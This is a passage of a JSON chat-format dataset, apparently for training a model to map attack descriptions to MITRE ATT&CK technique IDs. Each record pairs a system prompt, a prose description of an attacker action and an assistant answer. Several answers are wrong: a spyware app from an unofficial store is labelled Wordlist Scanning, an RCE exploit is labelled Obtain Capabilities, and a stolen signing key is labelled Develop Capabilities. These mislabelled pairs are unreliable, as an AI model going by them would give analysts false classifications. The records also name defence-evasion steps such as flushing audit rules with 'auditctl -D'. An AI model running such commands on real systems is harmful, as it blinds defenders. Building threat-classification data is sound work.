                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious tool erased all SMB share mappings and disabled share discovery to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces the icon of a malicious .lnk file with a trusted application icon, tricking the victim into double‑clicking and executing the payload."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a compromised credential database to automate login attempts against the victim's online service, trying thousands of username/password pairs per minute."
            },
            {
                "role": "assistant",
                "content": "T1110.004 - Brute Force: Credential Stuffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing module includes random base64‑encoded junk strings in its payload to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker transmitted sensitive logs to a remote HTTP endpoint using plain HTTP GET requests."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the threat actor uses whois lookups to gather the target’s IP address ranges."
            },
            {
                "role": "assistant",
                "content": "T1590.005 - Gather Victim Network Information: IP Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a .plist file to the macOS launchd directory, scheduling a script to run daily."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor employed a batch file to copy files from \\shared\\reports to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access to the cloud account, the threat actor issues a revert command on the target compute instance, undoing any malicious changes made earlier."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors study the victim’s social media posts and press releases to gauge the regularity of their business cycles and operational tempo."
            },
            {
                "role": "assistant",
                "content": "T1591.003 - Gather Victim Org Information: Identify Business Tempo"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group used file type spoofing by renaming their backdoor as a .xls spreadsheet, leading users to open it in Excel."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group harvested public records from government databases to assemble a list of citizens' names, birthdates, and residential addresses."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rewrites the contents of encrypted traffic after a man‑in‑the‑middle compromise to insert malware."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware exfiltrates data by continuously uploading harvested documents to a cloud storage bucket without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised user adds a systemd service and associated timer that launches a keylogger at login, providing persistent data collection."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious mobile app advertised on an unofficial app store installs spyware on devices."
            },
            {
                "role": "assistant",
                "content": "T1595.003 - Active Scanning: Wordlist Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During persistence setup, the threat actor adds an LC_LOAD_DYLIB command to a legitimate macOS binary so that a harmful dylib loads automatically."
            },
            {
                "role": "assistant",
                "content": "T1546.006 - Event Triggered Execution: LC_LOAD_DYLIB Addition"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sets up a reverse proxy that tunnels traffic through a NAT device, effectively bridging the external network with the internal host and evading network segmentation controls."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group manipulated the trusted domain list to include a compromised service account, enabling lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages insecure service file permissions to drop a trojan into the service's executable path and triggers it via service restart."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through exploiting a remote code execution flaw in a third‑party application, the threat actor obtains the ability to run arbitrary commands on the target system."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary queried the victim’s public WHOIS record to obtain the registrant’s contact email."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor steals a private key associated with a legitimate certificate to create counterfeit signed binaries."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The incident report noted the use of regsvr32.exe with the /u and /i options to unload and then register a harmful COM object from a network share."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary establishes a persistent reverse shell over HTTP to exfiltrate data and receive commands."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware employs the System.Diagnostics.Process.Start method in .NET to launch a secondary payload."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Command executed: 'wmic logicaldisk get deviceid' to discover removable storage devices."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious shortcut (.lnk) file is delivered through a phishing link; when the victim clicks it, the linked malware file is executed."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor tunnels command data within typical SNMP GET requests to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker modifies the registry key HKLM\\System\\CurrentControlSet\\Services\\Spooler to point to a malicious executable."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sets the LIBPATH environment variable to a directory containing a malicious library, causing the dynamic linker on AIX systems to load the attacker’s code."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat sets up an APC in a target process’s thread, using NtTestAlert to force the thread into an alertable state and execute the malicious routine."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use compromised API keys to change the firewall rules of existing cloud compute resources, allowing inbound traffic from unauthorized IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor edits the kernel's driver signing policy, allowing malicious drivers to be installed without a valid signature."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy implant uses the C++ function std::chrono::system_clock::now() to obtain the precise system time for timing attacks."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistent cryptomining malware is placed in the system startup folder, ensuring continuous resource hijacking after reboot."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder sets up a launchd plist file to execute a reconnaissance tool whenever the user logs onto the machine."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the AppInit_DLLs registry key, the attacker forces loading of a rogue DLL in every user‑mode process."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages the NtCreateProcessEx and NtCreateThreadEx calls after a transaction rollback to spawn a process that runs arbitrary code, a technique known as Process Doppelgänging."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromise of a domain controller allows the intruder to inject a new external trust relationship."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT actor manipulates volatile memory of a compromised system to alter logs before they are written."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious agent steals the user's calendar entries stored in local Outlook data files."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor queries the registry for the ServiceDll values of services to identify driver binaries."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through VDSO function hooking, the adversary injects code that runs during every system call made by the compromised process."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages the SetThreadToken call to swap the current thread's token with one that has admin rights, effectively impersonating a privileged user."
            },
            {
                "role": "assistant",
                "content": "T1134.003 - Access Token Manipulation: Make and Impersonate Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphisher creates a fake Microsoft Teams meeting invitation that includes a malicious .exe attachment purported to be meeting minutes."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages Windows RPC to invoke methods on a remote service, enabling the execution of arbitrary code across the network."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a firmware downgrade vulnerability, the adversary installs an older, vulnerable version of the system firmware containing a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider changes GCP Stackdriver logging configuration to exclude certain resources, effectively hiding their activities."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware script writes the contents of the victim's keylogger to a temporary file and then leaks it to a public pasting service via a simple curl command."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries performed a credential brute‑force against the default service account 'svc' that was never disabled."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using POP3, the adversary retrieves commands embedded in the subject line of incoming emails."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Application Layer Protocol: Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware enumerates objects in a Google Cloud Storage bucket using the storage.objects.list endpoint."
            },
            {
                "role": "assistant",
                "content": "T1619 - Cloud Storage Object Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs automated queries against search engines to locate any websites registered to the target and collect visible content."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses 'shred' to repeatedly write over the disk blocks, effectively wiping it."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised third‑party analytics service is used to exfiltrate Facebook authentication cookies from user browsers."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a stolen secret key, the attacker generates a fake web cookie that grants administrative privileges on the target website."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Forge Web Credentials: Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware extracts a Windows access token from a compromised process and injects it into a new service."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use compromised AWS IAM credentials to establish a reverse shell over SSM Session Manager, enabling persistent remote access to victim instances."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group added a cron job that runs 'auditctl -D' daily to flush all audit rules."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor initiates a voice call claiming a security alert, urging the target to click a link sent via SMS to remediate the issue."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary writes exfiltrated data to a .csv file where each byte is represented by its octal value."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group leverages the built‑in Windows utility reg.exe to dump cached domain credentials from the registry."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the role bindings in an OpenShift cluster, granting extra permissions to a compromised pod."
            },
            {
                "role": "assistant",
                "content": "T1098.006 - Account Manipulation: Additional Container Cluster Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses Alibaba Cloud Elastic Compute Service remote login capabilities to execute malicious payloads on target servers."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploited a known vulnerability in Exchange Server to programmatically add an unauthorized delegate to a high-value mailbox."
            },
            {
                "role": "assistant",
                "content": "T1098.002 - Account Manipulation: Additional Email Delegate Permissions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor uses the Bing search engine to find password-protected directories indexed by the search engine."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary manipulates the OS credential manager APIs to list and retrieve stored credentials for privileged accounts."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use credential stuffing by trying previously stolen username/password pairs on a web login portal."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor queries the system for all connected USB devices and logs their identifiers."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses search engine queries to locate publicly exposed configuration files on the target’s web servers."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The tool determines where the computer is located."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor connects to the corporate VPN using the default service account credentials that were never disabled."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious binary constructs domain names using a proprietary algorithm and resolves them via DNS to retrieve configuration data."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A command‑and‑control client calculates possible domains by hashing the current date with a known secret and appends a top‑level domain, then queries DNS."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
